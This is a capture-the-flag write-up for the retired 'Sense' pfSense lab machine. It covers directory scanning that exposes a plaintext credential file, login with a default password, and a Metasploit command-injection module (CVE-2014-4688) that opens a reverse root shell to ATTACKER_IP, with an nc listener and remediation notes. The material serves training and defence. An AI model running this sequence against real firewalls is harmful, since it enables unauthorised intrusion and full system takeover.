Sense
Summary
I, with no prior knowledge, reached the pfSense firewall management interface directly over the internet, ran a standard web-directory scan that exposed a plaintext credential file, and recovered a working operator password that had never been changed from its factory default. Logged in as that operator, they confirmed the appliance was running firmware from 2014 with a publicly documented command-injection flaw, fired a single Metasploit module, and received a root operating-system shell.
The entire compromise required no cracking, no social engineering, and no insider knowledge — just a wordlist and one public exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for Login>"Attack path — how the box was taken
Exact commands 2
Quick targeted scan; the service banner on 443 identifies pfSense.
$ nmap -sV -sC -p 80,443 $TARGETConfirm the webConfigurator is the application on 443.
$ curl -skL https://$TARGET/ | grep -i 'pfSense\|version'FixUpgrade pfSense to a supported release and restrict management interface access to trusted networks onlyCritical
Exact commands 1
The -k flag disables TLS verification for the self-signed certificate; -x txt appends the .txt extension to every probe. Both files appear in the output.
$ gobuster dir -k -x txt -u https://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_out.txtFixRemove sensitive files from the public web rootHigh
Exact commands 2
Fetch the credential disclosure file; the username and default-password note are in plaintext.
$ curl -sk https://$TARGET/system-users.txtFetch the changelog; it confirms outstanding patches and hints at known vulnerabilities.
$ curl -sk https://$TARGET/changelog.txtFixReplace all default and shared credentials with unique strong passwordsCritical
Exact commands 2
POST the login form; a 'Logout' link in the response confirms a successful session.
$ curl -sk -c cookies.txt -b cookies.txt -d "login=Login&usernamefld=rohit&passwordfld=$PASSWORD" https://$TARGET/index.php -L | grep -i 'Logout\|version'Pull the authenticated dashboard and confirm the pfSense version string.
$ curl -sk -b cookies.txt https://$TARGET/index.php | grep -i '2\.1'Exact commands 2
Metasploit module for CVE-2014-4688; replace LHOST with your VPN tunnel IP. The module handles TLS and URL encoding automatically.
$ msfconsole -q -x "use exploit/unix/http/pfsense_graph_injection; set RHOSTS $TARGET; set RPORT 443; set SSL true; set USERNAME rohit; set PASSWORD $PASSWORD; set LHOST $ATTACKER_IP; set LPORT 4444; run"Alternative: start a netcat listener before manually triggering the injection URL documented in EDB-43560 if Metasploit is unavailable.
$ nc -lvnp 4444Exact commands 3
Confirm uid=0 and FreeBSD from within the reverse shell.
$ id && uname -aExpected output: <user.txt>
$ cat /home/rohit/user.txtExpected output: <root.txt>
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 80/tcp | http lighttpd 1.4.35 |
| 443/tcp | https |